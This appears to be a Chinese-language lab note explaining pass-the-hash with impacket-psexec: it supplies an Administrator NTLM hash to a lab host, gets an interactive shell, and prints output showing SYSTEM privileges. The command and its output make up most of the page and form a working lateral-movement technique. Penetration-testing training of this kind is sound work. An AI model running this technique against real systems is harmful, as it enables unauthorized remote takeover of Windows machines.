跳到主內容

【terminal】psexec

要執行 psexec,我們可以輸入 impacket-psexec 並帶有兩個參數。第一個參數是 -hashes,它允許我們使用 NTLM 雜湊來對目標進行身份驗證。格式為 "LMHash:NTHash",其中我們在冒號後指定 Administrator 的 NTLM 雜湊。由於我們只使用 NTLM 雜湊,因此 LMHash 部分可以填充為 32 個 0。

第二個參數是目標定義,格式為 "username@ip"。

在命令的末尾,我們可以指定另一個參數,用於確定 psexec 應在目標系統上執行哪個命令。如果我們將其留空,將執行 cmd.exe,為我們提供一個交互式的 shell。

kali@kali:~$ impacket-psexec -hashes 00000000000000000000000000000000:7a38310ea6f0027ee955abed1762964b \
Administrator@192.168.50.212

Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Requesting shares on 192.168.50.212.....
[*] Found writable share ADMIN$
[*] Uploading file nvaXenHl.exe
[*] Opening SVCManager on 192.168.50.212.....
[*] Creating service MhCl on 192.168.50.212.....
[*] Starting service MhCl.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.20348.707]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32> hostname
FILES02

C:\Windows\system32> ipconfig
 
Windows IP Configuration

Ethernet adapter Ethernet0:

   Connection-specific DNS Suffix  . : 
   Link-local IPv6 Address . . . . . : fe80::7992:61cd:9a49:9046%4
   IPv4 Address. . . . . . . . . . . : 192.168.50.212
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 192.168.50.254

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32> exit

kali@kali:~$